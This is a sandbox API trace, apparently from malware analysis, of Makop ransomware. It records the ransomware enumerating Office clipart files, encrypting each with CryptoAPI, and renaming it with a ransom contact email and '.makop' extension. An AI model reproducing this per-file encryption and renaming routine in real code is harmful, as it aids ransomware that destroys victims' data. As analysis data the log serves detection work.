[0110.210] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.210] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.211] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b3a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b3a, lpOverlapped=0x0) returned 1 [0110.213] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b40, dwBufLen=0x1b40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b40) returned 1 [0110.214] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.214] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b40, lpOverlapped=0x0) returned 1 [0110.214] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.214] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.214] SetEndOfFile (hFile=0xf0) returned 1 [0110.220] GetProcessHeap () returned 0x48a0000 [0110.221] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.221] GetProcessHeap () returned 0x48a0000 [0110.221] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.221] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.222] CloseHandle (hObject=0xf0) returned 1 [0110.223] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0110.223] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0110.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.225] GetProcessHeap () returned 0x48a0000 [0110.225] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.225] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.226] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.226] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0110.231] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.231] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.231] GetProcessHeap () returned 0x48a0000 [0110.231] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0110.231] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0110.231] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.231] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0110.231] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.232] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.232] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.232] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.232] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.232] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.233] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1496, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1496, lpOverlapped=0x0) returned 1 [0110.234] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14a0) returned 1 [0110.234] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.234] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14a0, lpOverlapped=0x0) returned 1 [0110.234] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.234] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.234] SetEndOfFile (hFile=0xf0) returned 1 [0110.242] GetProcessHeap () returned 0x48a0000 [0110.242] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0110.242] GetProcessHeap () returned 0x48a0000 [0110.242] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.285] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 107 [0110.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.287] CloseHandle (hObject=0xf0) returned 1 [0110.287] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0110.287] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0110.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.328] GetProcessHeap () returned 0x48a0000 [0110.328] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.329] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.329] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.329] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0110.387] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.387] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.387] GetProcessHeap () returned 0x48a0000 [0110.387] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.387] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.387] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.387] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.388] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.388] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.388] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.388] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.388] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.388] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.388] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.388] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.389] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc18a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc18a, lpOverlapped=0x0) returned 1 [0110.390] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc190, dwBufLen=0xc190 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc190) returned 1 [0110.391] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.391] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc190, lpOverlapped=0x0) returned 1 [0110.392] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.392] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.392] SetEndOfFile (hFile=0xf0) returned 1 [0110.400] GetProcessHeap () returned 0x48a0000 [0110.400] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.400] GetProcessHeap () returned 0x48a0000 [0110.400] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.400] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.401] CloseHandle (hObject=0xf0) returned 1 [0110.402] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0110.402] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0110.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.404] GetProcessHeap () returned 0x48a0000 [0110.404] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.404] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.404] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.404] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0110.408] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.408] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.408] GetProcessHeap () returned 0x48a0000 [0110.409] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0110.409] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0110.409] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.409] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0110.409] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.409] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.409] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.409] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.410] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.410] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.410] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.410] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.410] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb96, lpOverlapped=0x0) returned 1 [0110.410] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xba0, dwBufLen=0xba0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xba0) returned 1 [0110.410] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.411] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xba0, lpOverlapped=0x0) returned 1 [0110.411] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.411] SetEndOfFile (hFile=0xf0) returned 1 [0110.512] GetProcessHeap () returned 0x48a0000 [0110.512] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0110.512] GetProcessHeap () returned 0x48a0000 [0110.512] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.512] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 105 [0110.512] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.514] CloseHandle (hObject=0xf0) returned 1 [0110.514] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0110.514] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0110.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.618] GetProcessHeap () returned 0x48a0000 [0110.618] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.618] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.618] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.619] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0110.727] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.727] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.727] GetProcessHeap () returned 0x48a0000 [0110.727] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.727] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.728] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.728] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.728] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.728] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.728] WriteFile (in: hFile=0xf0, 